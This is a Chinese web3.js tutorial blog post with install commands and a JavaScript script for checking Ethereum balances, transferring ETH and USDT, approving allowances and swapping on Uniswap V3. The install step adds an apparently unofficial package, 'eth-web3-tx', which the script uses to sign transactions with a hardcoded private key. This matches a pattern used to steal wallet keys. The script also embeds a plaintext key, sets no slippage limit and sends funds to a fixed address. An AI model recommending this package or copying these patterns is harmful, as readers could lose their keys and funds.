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web3.js简介与入门

作者：凡人多烦事01 | 2024-04-09 07:44:38

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web3.js

区块链，当前无论是在国内还是国外都是一个比较时髦的概念，在国内由于政策及市场成熟度的原因，技术氛围还没有那么浓厚。可是在国外，区块链的学习及使用正在如火如荼进行着。

想让自己与国际接轨，或者想了解一下区块链吗，如果你是前端开发人员或者熟悉Javascript，来这里看一下web3的系列文章吧，你可以通过本文的一系列教程快速掌握相应的技术与概念。

Web3.js是ETH提供给开发人员将其APP运行在ETH上的javascript类库。在底层上，它通过RPC地用与本地节点进行通信。当然，web3.js可以与任意暴露了RPC接口的ETH节点进行连接，实现二次开发。

本系列文章默认读者熟悉javascript语言，了解NODEJS。对对象及后端服务有一定认识。

废话到这，现在开始。

首先我们需要将web3.js引入到我们的项目中

首先安装必要的组件：

  1. npm install -save web3@4.0.3
  2. npm install -save @ethereumjs/common@3.2.0
  3. npm install -save eth-web3-tx

下面是一些常用的方法调用 包括对eth 代币 以及交易的相关操作：

  1. const {Web3} = require('web3')
  2. const {Common, Chain, Hardfork} = require("@ethereumjs/common");
  3. const LegacyTransaction = require('eth-web3-tx').LegacyTransaction;
  4. const rpcURL = 'https://eth-mainnet.public.blastapi.io' // RPC URL  如果地址不能使用了 请去 https://infura.io 注册账号获取免费的
  5. const your_private_key =  Buffer.from('bef5467f1ee820f0d879c191aeb0df1cf41c1fb05565ea0143de274ee94a5aa3', 'hex');
  6. const your_wallet_address = '0x3444e807aB03C9D27c23E7E8f147a9878272490B'
  7. const usdt_address = "0xdAC17F958D2ee523a2206206994597C13D831ec7"
  8. const wbtc_address = "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599"
  9. const web3 = new Web3(rpcURL);
  10. const uniswap_router3_address = '0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45'
  11. const erc20_abi = [{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}]
  12. const uniswap_router3_abi = [{"inputs":[{"internalType":"address","name":"_factoryV2","type":"address"},{"internalType":"address","name":"factoryV3","type":"address"},{"internalType":"address","name":"_positionManager","type":"address"},{"internalType":"address","name":"_WETH9","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH9","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"approveMax","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"approveMaxMinusOne","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"approveZeroThenMax","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"approveZeroThenMaxMinusOne","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"name":"callPositionManager","outputs":[{"internalType":"bytes","name":"result","type":"bytes"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bytes[]","name":"paths","type":"bytes[]"},{"internalType":"uint128[]","name":"amounts","type":"uint128[]"},{"internalType":"uint24","name":"maximumTickDivergence","type":"uint24"},{"internalType":"uint32","name":"secondsAgo","type":"uint32"}],"name":"checkOracleSlippage","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"uint24","name":"maximumTickDivergence","type":"uint24"},{"internalType":"uint32","name":"secondsAgo","type":"uint32"}],"name":"checkOracleSlippage","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"components":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"internalType":"struct IV3SwapRouter.ExactInputParams","name":"params","type":"tuple"}],"name":"exactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"tokenIn","type":"address"},{"internalType":"address","name":"tokenOut","type":"address"},{"internalType":"uint24","name":"fee","type":"uint24"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"},{"internalType":"uint160","name":"sqrtPriceLimitX96","type":"uint160"}],"internalType":"struct IV3SwapRouter.ExactInputSingleParams","name":"params","type":"tuple"}],"name":"exactInputSingle","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amountOut","type":"uint256"},{"internalType":"uint256","name":"amountInMaximum","type":"uint256"}],"internalType":"struct IV3SwapRouter.ExactOutputParams","name":"params","type":"tuple"}],"name":"exactOutput","outputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"tokenIn","type":"address"},{"internalType":"address","name":"tokenOut","type":"address"},{"internalType":"uint24","name":"fee","type":"uint24"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amountOut","type":"uint256"},{"internalType":"uint256","name":"amountInMaximum","type":"uint256"},{"internalType":"uint160","name":"sqrtPriceLimitX96","type":"uint160"}],"internalType":"struct IV3SwapRouter.ExactOutputSingleParams","name":"params","type":"tuple"}],"name":"exactOutputSingle","outputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"factoryV2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getApprovalType","outputs":[{"internalType":"enum IApproveAndCall.ApprovalType","name":"","type":"uint8"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"token0","type":"address"},{"internalType":"address","name":"token1","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint256","name":"amount0Min","type":"uint256"},{"internalType":"uint256","name":"amount1Min","type":"uint256"}],"internalType":"struct IApproveAndCall.IncreaseLiquidityParams","name":"params","type":"tuple"}],"name":"increaseLiquidity","outputs":[{"internalType":"bytes","name":"result","type":"bytes"}],"stateMutability":"payable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"token0","type":"address"},{"internalType":"address","name":"token1","type":"address"},{"internalType":"uint24","name":"fee","type":"uint24"},{"internalType":"int24","name":"tickLower","type":"int24"},{"internalType":"int24","name":"tickUpper","type":"int24"},{"internalType":"uint256","name":"amount0Min","type":"uint256"},{"internalType":"uint256","name":"amount1Min","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"}],"internalType":"struct IApproveAndCall.MintParams","name":"params","type":"tuple"}],"name":"mint","outputs":[{"internalType":"bytes","name":"result","type":"bytes"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"previousBlockhash","type":"bytes32"},{"internalType":"bytes[]","name":"data","type":"bytes[]"}],"name":"multicall","outputs":[{"internalType":"bytes[]","name":"","type":"bytes[]"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"bytes[]","name":"data","type":"bytes[]"}],"name":"multicall","outputs":[{"internalType":"bytes[]","name":"","type":"bytes[]"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bytes[]","name":"data","type":"bytes[]"}],"name":"multicall","outputs":[{"internalType":"bytes[]","name":"results","type":"bytes[]"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"positionManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"pull","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"refundETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"selfPermit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"uint256","name":"expiry","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"selfPermitAllowed","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"uint256","name":"expiry","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"selfPermitAllowedIfNecessary","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"selfPermitIfNecessary","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"}],"name":"swapExactTokensForTokens","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"},{"internalType":"uint256","name":"amountInMax","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"}],"name":"swapTokensForExactTokens","outputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountMinimum","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"}],"name":"sweepToken","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountMinimum","type":"uint256"}],"name":"sweepToken","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountMinimum","type":"uint256"},{"internalType":"uint256","name":"feeBips","type":"uint256"},{"internalType":"address","name":"feeRecipient","type":"address"}],"name":"sweepTokenWithFee","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountMinimum","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"feeBips","type":"uint256"},{"internalType":"address","name":"feeRecipient","type":"address"}],"name":"sweepTokenWithFee","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"int256","name":"amount0Delta","type":"int256"},{"internalType":"int256","name":"amount1Delta","type":"int256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"uniswapV3SwapCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountMinimum","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"}],"name":"unwrapWETH9","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountMinimum","type":"uint256"}],"name":"unwrapWETH9","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountMinimum","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"feeBips","type":"uint256"},{"internalType":"address","name":"feeRecipient","type":"address"}],"name":"unwrapWETH9WithFee","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountMinimum","type":"uint256"},{"internalType":"uint256","name":"feeBips","type":"uint256"},{"internalType":"address","name":"feeRecipient","type":"address"}],"name":"unwrapWETH9WithFee","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"wrapETH","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]
  13.  
  14. function uint8ToHex(uint8arr) {
  15.     let hexStr = "";
  16.     for (let i = 0; i < uint8arr.length; i++) {
  17.         let hex = uint8arr[i].toString(16);
  18.         hex = hex.length === 1 ? "0" + hex : hex; // 需要补0
  19.         hexStr += hex;
  20.     }
  21.     return hexStr;
  22. }
  23.  
  24. function contract_call(txObject,call_back=null){
  25.     if (call_back == null){
  26.         call_back = function (txHash){
  27.             console.log('txHash:', txHash)
  28.         }
  29.     }
  30.  
  31.     web3.eth.getTransactionCount(your_wallet_address).then((txCount) => {
  32.         web3.eth.estimateGas(txObject).then((gaslimit)=>{
  33.             txObject['nonce'] = web3.utils.toHex(txCount)
  34.             txObject['gasLimit'] = web3.utils.toHex(gaslimit)
  35.             txObject['gasPrice'] = web3.utils.toHex(web3.utils.toNumber(web3.utils.toWei('10', 'gwei')))
  36.             const common = new Common({ chain: Chain.Mainnet, hardfork: Hardfork.Istanbul })
  37.             const tx = LegacyTransaction.fromTxData(txObject, { common })
  38.             signedTx = tx.sign(your_private_key)
  39.             const serializedTx = signedTx.serialize()
  40.             const tes = serializedTx.valueOf()
  41.             const raw = '0x' + uint8ToHex(tes)
  42.             web3.eth.sendSignedTransaction(raw).then(call_back)
  43.         });
  44.     })
  45. }
  46.  
  47. /*
  48.     获取指定账户的eth余额
  49.     your_wallet_address: 指定账户地址
  51.     :return:账户余额
  52. */
  53. function getEthBalance(your_wallet_address){
  54.     web3.eth.getBalance(your_wallet_address).then(( wei) => {
  55.             // 余额单位从wei转换为ether
  56.             balance = web3.utils.fromWei(wei, 'ether')
  57.             console.log("balance: " + balance)
  58.         }
  59.     )
  60. }
  61.  
  62. /*
  63.     获取指定账户的erc20代币余额
  64.     erc20_address：erc20合约地址
  65.     owner_address： 指定账户地址
  67.     :return:账户erc20代币余额
  68. */
  69. function getErc20Balance(erc20_address, owner_address){
  70.     var MyContract = new web3.eth.Contract(erc20_abi, erc20_address);
  71.     MyContract.methods.balanceOf(owner_address).call()
  72.         .then((erc20_qty)=>{
  73.             console.log(erc20_address + "   balance: " + erc20_qty)
  74.         });
  75. }
  76. /*
  77.     获取ERC20代币的授权量
  78.     erc20_address：代币合约地址
  79.     owner_address：授权主体
  80.     contract_address： 被授权方地址
  82.  */
  83. function getErc20Allowance(erc20_address, owner_address,contract_address){
  84.     var MyContract = new web3.eth.Contract(erc20_abi, erc20_address);
  85.     MyContract.methods.allowance(owner_address,contract_address).call()
  86.         .then((allowance)=>{
  87.             console.log(erc20_address + "\n"+owner_address+"\n"+contract_address+"\n   allowance: " + allowance)
  88.         });
  89. }
  90.  
  91. /*
  92.     """
  93.     发送指定数量的eth给指定地址
  94.     to_address：接收方地址
  95.     amount：发送eth数量
  97.     """
  98.  */
  99. function transferEth(toAddress,amount){
  100.     const txObject = {
  101.         to:       toAddress,
  102.         value:    web3.utils.toHex(web3.utils.toNumber(web3.utils.toWei(amount, 'ether'))),
  103.     }
  104.     contract_call(txObject)
  105. }
  106.  
  107. /*
  108.     发送erc20代币给指定地址指定数量
  109.     erc20_address：erc20代币合约地址
  110.     to_address：接收方地址
  111.     amount：发送erc20代币数量
  113.  */
  114. function transferErc20(erc20Address,toAddress,amount){
  115.     const contract = new web3.eth.Contract(erc20_abi, erc20Address)
  116.     const txObject = {
  117.         to:       erc20Address,
  118.         data: contract.methods.transfer(toAddress,amount).encodeABI()
  119.     }
  120.     contract_call(txObject)
  121. }
  122.  
  123. /*
  124.     授权给指定地址指定数量的消费额度
  125.     erc20_address： erc20代币地址
  126.     approve_contract_address：指定的其他消费代币的合约地址
  127.     approve_amount：授权数量
  128.  */
  129. function approve(erc20Address, approveContractAddress, approveAmount,call_back=null){
  130.     const contract = new web3.eth.Contract(erc20_abi, erc20Address)
  131.     const txObject = {
  132.         to:       erc20Address,
  133.         data: contract.methods.approve(approveContractAddress,approveAmount).encodeABI()
  134.     }
  135.     contract_call(txObject,call_back)
  136. }
  137.  
  138.  
  139. /*
  140.     发起dex交易，通过uniswapV3 dex进行交易
  141.     :param input_address: 输入的erc20 代币地址
  142.     :param out_address:  输出的erc20 代币地址
  143.     :param input_amount: 输入数量
  144.  */
  145. function UniswapV3Swap(input_address, out_address, input_amount){
  146.     var fee = 3000  // uniswap 池子手续费一般三个等级 分别为 500，3000，10000
  147.     var input_contract = new web3.eth.Contract(erc20_abi, input_address)
  148.     var uniswap_router3_contract = new web3.eth.Contract(uniswap_router3_abi, uniswap_router3_address)
  149.     input_contract.methods.allowance(your_wallet_address,uniswap_router3_address).call()
  150.         .then((allowance)=>{
  151.             const swap_function =function (){
  152.                 parms = {
  153.                     'tokenIn': input_address,
  154.                     'tokenOut': out_address,
  155.                     'fee': fee,
  156.                     'recipient': your_wallet_address,
  157.                     'amountIn': input_amount,
  158.                     'amountOutMinimum': 0,
  159.                     'sqrtPriceLimitX96': 0,
  160.                 }
  161.                 const txObject = {
  162.                     to:       uniswap_router3_address,
  163.                     data: uniswap_router3_contract.methods.exactInputSingle(parms).encodeABI(),
  164.                     from:your_wallet_address
  165.                 }
  166.                 contract_call(txObject)
  167.             }
  168.             if(allowance == 0) {
  169.                 approve(input_address,uniswap_router3_address,input_amount,swap_function)
  170.             }else if (allowance < input_amount){
  171.                 approve(input_address,uniswap_router3_address,0,function (txHash){
  172.                     approve(input_address,uniswap_router3_address,input_amount,swap_function)
  173.                 })
  174.             }else{
  175.                 swap_function()
  176.             }
  177.         });
  178. }
  179.  
  180. //获取your_wallet_address 地址拥有的USDT余额
  181. getErc20Balance(usdt_address,your_wallet_address)
  182. //获取your_wallet_address 给0x50431c70f6B4B9ab5CA438Cb9a3f030C4Bad5707 授权量多少usdt消费额度
  183. getErc20Allowance(usdt_address,your_wallet_address,"0x50431c70f6B4B9ab5CA438Cb9a3f030C4Bad5707")
  184. //获取your_wallet_address 的ETH余额
  185. getEthBalance(your_wallet_address)
  186.  
  187. //以下方法需要同步执行，也可以注释一下其他方法，只执行一个，因为异步一起执行会导致nonce计算错误
  188. //给 0x50431c70f6B4B9ab5CA438Cb9a3f030C4Bad5707 转账一个ETH
  189. transferEth("0x50431c70f6B4B9ab5CA438Cb9a3f030C4Bad5707","1")
  190. //给 0x50431c70f6B4B9ab5CA438Cb9a3f030C4Bad5707 转账 10000 usdt
  191. transferErc20(usdt_address,"0x50431c70f6B4B9ab5CA438Cb9a3f030C4Bad5707","10000")
  192. //授权 给 uniswap_router3_address 10 usdt 的消费额度
  193. approve(usdt_address,uniswap_router3_address,10)
  194. //花 100000000 usdt 买入 BTC
  195. UniswapV3Swap(usdt_address,wbtc_address,100000000)
  196.

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